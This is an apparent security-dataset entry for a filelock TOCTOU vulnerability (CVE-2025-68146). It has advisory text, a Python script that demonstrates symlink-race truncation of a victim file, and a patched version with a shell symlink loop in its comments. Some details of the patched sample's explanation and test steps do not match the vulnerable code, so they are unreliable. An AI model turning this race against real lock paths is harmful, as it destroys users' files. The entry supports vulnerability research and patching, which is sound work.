CVE-2025-68146
A `filelock` TOCTOU race condition allows file truncation via symlinks.
- CVSS 6.5
- CWE-367
- Race Conditions
- Local
filelock is a platform-independent file lock for Python. In versions prior to 3.20.1, a Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. All users of filelock on Unix, Linux, macOS, and Windows systems are impacted. The vulnerability cascades to dependent libraries. The attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. The issue is fixed in version 3.20.1. If immediate upgrade is not possible, use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases); ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks; and/or monitor lock file directories for suspicious symlinks before running trusted applications. These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
- CWE
- CWE-367
- CVSS base score
- 6.5
- Published
- 2025-12-16
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Timing Issues
- Category
- Race Conditions
- Subcategory
- Time-of-Check to Time-of-Use
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- filelock
- Fixed by upgrading
- Yes
Solution
Upgrade `filelock` to version 3.20.1 or later.
Vulnerable code sample
import os
import time
import multiprocessing
import pathlib
import sys
# This code demonstrates the Time-of-Check-Time-of-Use (TOCTOU) race condition
# described in CVE-2025-68146, as it would exist in filelock versions prior to 3.20.1.
# The vulnerability lies in the non-atomic check and creation of the lock file.
# --- Configuration ---
# A predictable path for the lock file, as would be used by an application.
LOCK_FILE = pathlib.Path("./vulnerable-app.lock")
# A target file that the attacker wants to corrupt (truncate).
VICTIM_FILE = pathlib.Path("./user_data.txt")
VICTIM_CONTENT = "This is critical data that must not be deleted."
RUN_DURATION_SECONDS = 3
def vulnerable_lock_acquire(lock_path):
"""
Simulates the vulnerable file locking logic from filelock < 3.20.1.
"""
# TIME-OF-CHECK: The library first checks if the lock file exists. This
# operation is not atomic with the subsequent file open operation.
if os.path.lexists(lock_path):
# In a real library, it might try to read a PID or perform other checks.
# This non-atomic check opens a window for a race condition.
pass
# --- RACE CONDITION WINDOW ---
# At this exact moment, an attacker can replace `lock_path` with a
# symbolic link pointing to a different file (`VICTIM_FILE`).
# ---
# TIME-OF-USE: The library opens the file with the O_TRUNC flag.
# By default, os.open() follows symlinks. If the attacker has placed
# a symlink, this call will open the *target* of the symlink and truncate
# it to zero bytes, destroying its content. The lack of os.O_EXCL is the key flaw.
try:
# This is the vulnerable operation that follows the symlink and truncates.
fd = os.open(lock_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC)
os.close(fd)
except OSError:
# The operation may fail (e.g., if the symlink target is a directory),
# but the damage (truncation) may have already occurred.
pass
def vulnerable_application_process(stop_event):
"""
This process simulates a legitimate application that uses the vulnerable
locking mechanism in a loop.
"""
while not stop_event.is_set():
vulnerable_lock_acquire(LOCK_FILE)
# The application releases the lock by deleting the file, allowing the
# attacker to attempt the race on the next acquisition.
try:
os.remove(LOCK_FILE)
except OSError:
pass
time.sleep(0.01)
def attacker_process(stop_event):
"""
This process attempts to exploit the TOCTOU race condition by creating a
symbolic link in the window between the check and the use.
"""
while not stop_event.is_set():
try:
# The attacker continuously tries to create a symlink from the
# predictable lock file path to the victim's data file.
os.symlink(VICTIM_FILE, LOCK_FILE)
except FileExistsError:
# This means the lock file was created by the victim app before we could
# create the symlink. We just wait for it to be deleted and try again.
time.sleep(0.001)
except Exception:
# Ignore other potential errors and keep trying.
pass
def main():
"""
Sets up the environment and runs the victim and attacker processes to
demonstrate the vulnerability.
"""
# On Windows, creating symlinks may require administrator privileges or
# "Developer Mode" to be enabled.
if sys.platform == "win32" and not os.access(".", os.W_OK | os.X_OK):
print("Warning: Symlink creation on Windows may require special privileges.")
# 1. Setup: Create the victim file with some data.
VICTIM_FILE.write_text(VICTIM_CONTENT)
print(f"[SETUP] Created victim file '{VICTIM_FILE}' with content.")
print(f"[SETUP] Initial content: '{VICTIM_FILE.read_text()}'\n")
stop_event = multiprocessing.Event()
# 2. Start the vulnerable application and the attacker.
victim = multiprocessing.Process(target=vulnerable_application_process, args=(stop_event,))
attacker = multiprocessing.Process(target=attacker_process, args=(stop_event,))
print(f"[DEMO] Starting vulnerable application and attacker processes...")
print(f"[DEMO] Running for {RUN_DURATION_SECONDS} seconds to trigger the race condition.\n")
victim.start()
attacker.start()
time.sleep(RUN_DURATION_SECONDS)
# 3. Stop processes.
stop_event.set()
victim.join()
attacker.join()
# 4. Check the outcome.
print("[RESULT] Checking if the attack was successful...")
try:
final_content = VICTIM_FILE.read_text()
if not final_content:
print(f"[SUCCESS] The attack succeeded. The victim file '{VICTIM_FILE}' has been truncated.")
print(f"Final content: ''")
else:
print("[FAILURE] The attack did not succeed in this run. Try running the script again.")
except FileNotFoundError:
print(f"[ERROR] The victim file '{VICTIM_FILE}' was deleted, which is unexpected.")
# 5. Cleanup.
if LOCK_FILE.is_symlink() or LOCK_FILE.exists():
LOCK_FILE.unlink()
if VICTIM_FILE.exists():
VICTIM_FILE.unlink()
if __name__ == "__main__":
# Ensure cleanup happens even if the script is interrupted.
try:
main()
finally:
if LOCK_FILE.is_symlink() or LOCK_FILE.exists():
LOCK_FILE.unlink(missing_ok=True)
if VICTIM_FILE.exists():
VICTIM_FILE.unlink(missing_ok=True)Patched code sample
import os
import errno
def fixed_atomic_lock_file_creation(lock_file_path):
"""
Demonstrates the fix for the TOCTOU race condition vulnerability.
The vulnerability existed because the os.open call included the O_TRUNC flag
along with O_CREAT and O_EXCL. On filesystems where O_EXCL is not atomic
(e.g., some versions of NFS), a time-of-check-time-of-use (TOCTOU) race
condition could be exploited. An attacker could create a symbolic link to a
victim's file between the existence check and the open call, causing the
O_TRUNC flag to truncate the victim's file.
The fix is to remove the os.O_TRUNC flag from the initial, exclusive
creation attempt. When a new lock file is created with O_CREAT, it is
guaranteed to be empty, making O_TRUNC redundant and unsafe. By removing
it, even if an attacker wins the race condition, the targeted file is
opened but not truncated, mitigating the vulnerability.
"""
try:
# The fix is the removal of the `os.O_TRUNC` flag from this call.
# `os.O_CREAT | os.O_EXCL` is atomic on most modern local filesystems,
# preventing a race condition. It creates and opens the file if and
# only if it does not exist, failing otherwise.
# By removing `O_TRUNC`, we prevent file truncation even if a race
# condition were to occur on a non-atomic filesystem.
file_descriptor = os.open(lock_file_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL)
except FileExistsError:
# If the file already exists (which could be a legitimate lock file
# from another process or an attacker's symlink), open it without
# the creation or truncation flags. This is safe.
try:
file_descriptor = os.open(lock_file_path, os.O_WRONLY)
except OSError as e:
# Handle cases where the symlink might be stale or permissions are wrong.
# In a real scenario, this would be part of a retry loop.
print(f"Error opening existing file: {e}")
return None
except Exception as e:
print(f"An unexpected error occurred: {e}")
return None
# In a real filelock implementation, a lock would now be acquired on this
# file descriptor, e.g., using fcntl.flock() on Unix.
print(f"Safely obtained file descriptor {file_descriptor} for {lock_file_path}")
# The file descriptor would be returned and held until the lock is released.
# For this demonstration, we'll just close it.
os.close(file_descriptor)
return file_descriptor
if __name__ == '__main__':
# This demonstration requires manual setup to simulate the attack.
# To test:
# 1. Choose a lock file path, e.g., '/tmp/my_app.lock'.
# 2. Choose a victim file, e.g., create a file named 'victim.txt' with some content.
# 3. In one terminal, run a loop that creates a symlink:
# while true; do ln -sf "$(pwd)/victim.txt" /tmp/my_app.lock; rm /tmp/my_app.lock; done
# 4. In another terminal, run this script.
#
# With the fix, 'victim.txt' will NOT be truncated. With the vulnerable code
# (i.e., with os.O_TRUNC in the first os.open call), it would be.
lock_file = "demo.lock"
victim_file = "victim.txt"
# Clean up from previous runs
if os.path.lexists(lock_file):
os.remove(lock_file)
if os.path.exists(victim_file):
os.remove(victim_file)
# Create a dummy victim file
with open(victim_file, "w") as f:
f.write("This is important data that should not be truncated.")
print("--- Running fixed code demonstration ---")
print(f"Attempting to create lock file '{lock_file}'.")
print("Imagine an attacker is trying to symlink this to 'victim.txt'.")
fixed_atomic_lock_file_creation(lock_file)
# Check the victim file's content
with open(victim_file, "r") as f:
content = f.read()
if "important data" in content and len(content) > 0:
print(f"\nSUCCESS: '{victim_file}' was not truncated.")
else:
print(f"\nFAILURE: '{victim_file}' was truncated or corrupted.")
# Clean up
if os.path.lexists(lock_file):
os.remove(lock_file)
if os.path.exists(victim_file):
os.remove(victim_file)Cite this entry
@misc{vaitp:cve202568146,
title = {{A `filelock` TOCTOU race condition allows file truncation via symlinks.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-68146},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-68146/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
